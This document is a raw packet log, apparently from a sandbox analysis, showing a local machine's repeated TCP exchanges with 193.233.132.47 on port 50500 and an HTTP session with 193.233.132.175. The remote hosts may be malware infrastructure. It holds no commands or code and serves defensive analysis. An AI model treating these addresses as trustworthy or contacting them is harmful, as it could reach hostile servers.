Apr 24, 2024 14:43:09.825320005 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.825334072 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.825486898 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.825537920 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.825555086 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.825593948 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.825606108 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.825639963 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.825742006 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.825768948 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.825793028 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.825817108 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.826004982 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.826056004 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.826168060 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.826227903 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.826242924 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.826294899 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.826318979 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.826368093 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.826384068 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.826431036 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.826596975 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.826608896 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.826639891 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.826668978 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.826769114 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.826813936 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.826874971 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.826917887 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.826988935 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.827033997 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.827125072 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.827174902 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.827743053 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.827789068 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.827811003 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.827822924 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.827847004 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.827853918 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.827869892 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.827873945 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.827887058 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.827896118 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.827934027 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.827975988 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.828002930 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.828020096 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.828041077 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.828201056 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.828258991 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.828305960 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.828345060 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.828372955 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.828418016 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.828443050 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.828488111 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.828547001 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.828593969 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.828598976 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.828643084 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.828756094 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.828800917 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.828847885 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.828887939 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.828942060 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.828989029 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.829073906 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.829118013 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.829328060 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.829372883 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.829401970 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.829444885 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.829534054 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.829580069 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.829653978 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.829715014 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.829787970 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.829832077 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.829860926 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.829905033 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.829981089 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.830187082 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.830265999 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.830439091 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.830626965 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.830717087 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.830785036 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.830888987 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.830991030 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.831221104 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.831321001 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.831480026 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.831526041 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.831573963 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.831685066 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.831818104 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.832070112 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.832149029 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.868633032 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.868678093 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.868690014 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.868700981 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.868885994 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.868911982 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.869127035 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.869138002 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.165297985 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.165319920 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.165370941 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.165544033 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.165780067 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.166136026 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.166192055 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.166203022 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.166260004 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.166271925 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.166376114 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.166438103 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.166570902 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.166625977 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.166816950 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.166913033 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.167072058 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.167165995 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.167341948 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.167432070 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.167499065 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.167629957 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.167804956 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.168024063 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.168071032 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.168081999 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.168271065 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.168366909 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.168488026 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.168565035 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.168688059 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.168766975 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.168859005 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.169009924 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.169222116 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.169368029 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.169508934 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.169598103 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.169811010 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.169939041 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.170068979 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.170121908 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.170217991 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.170341015 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.170496941 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.170528889 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.170649052 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.170763969 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.170922041 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.171082020 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.171180010 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.171278954 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.171358109 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.171370983 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.171462059 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.171520948 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.171829939 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.171941996 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.171982050 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.172022104 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.172173977 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.172185898 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.172204018 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:10.172247887 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:10.172307968 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.172352076 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.172363043 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.172488928 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.172539949 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.172552109 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.172563076 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.172713995 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.172725916 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.172849894 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.172861099 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.172910929 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.172965050 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.173141003 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.173232079 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.173264027 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.173305988 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.173351049 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.173362017 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.173393965 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.173413038 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.173461914 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.173552036 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.173557997 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:10.173564911 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.173717976 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:10.173729897 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.173784971 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.173791885 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:10.173795938 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.173890114 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.173902035 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.173949003 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.174078941 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.174104929 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.174308062 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.174360037 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.174444914 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.174455881 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.174474955 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.174490929 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.174527884 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.174546957 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.174597025 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.174643993 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.174654961 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.513117075 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.513143063 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.513155937 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.514252901 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.514813900 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.514887094 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.514940023 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.514970064 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.515052080 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.515132904 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.515186071 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.515321970 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.515363932 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.515450954 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.515525103 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.515566111 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.515609026 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.515656948 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.515712023 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.515763998 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.515810013 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.515903950 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.515961885 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.516038895 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.516349077 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.516554117 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.516591072 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.516679049 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:10.861706018 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:11.250549078 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:11.250694036 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:11.591576099 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:11.591665030 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:11.932560921 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:11.932584047 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:11.932742119 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:12.273608923 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:12.273653984 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:12.273834944 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:12.273839951 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:12.273947954 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:12.614763021 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:12.614810944 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:12.614823103 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:12.615010977 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:14.340965033 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:14.682600021 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:14.682691097 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:14.682924986 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:15.024349928 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:15.024379969 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:15.024461985 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:15.026609898 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:15.368489981 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:15.368562937 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:15.368932962 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:15.368983984 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:15.369297028 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:15.369345903 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:15.369502068 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:15.369546890 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:15.369664907 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:15.369713068 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:15.369853973 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:15.369896889 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:15.370105028 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:15.370145082 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:15.371325970 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:15.371372938 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:15.371685028 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:15.371731997 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:15.371846914 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:15.371886969 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:15.710082054 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:15.710153103 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:15.710202932 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:15.710248947 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:15.710277081 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:15.710319042 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:15.710359097 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:15.710400105 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:15.710546970 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:15.710597038 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:15.710598946 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:15.710633039 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:15.710772991 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:15.710819006 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:15.710832119 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:15.710903883 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:15.710931063 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:15.710952044 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:15.710969925 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:15.711018085 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:15.711035013 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:15.711077929 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:15.711118937 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:15.711163044 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:15.712955952 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:15.713013887 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:15.713025093 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:15.713069916 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:15.713551044 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:15.713598013 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:15.713607073 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:15.713651896 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:15.713718891 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:15.713769913 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:15.713951111 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:15.713992119 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:15.714020014 CEST	80	49710	193.233.132.175	192.168.2.8
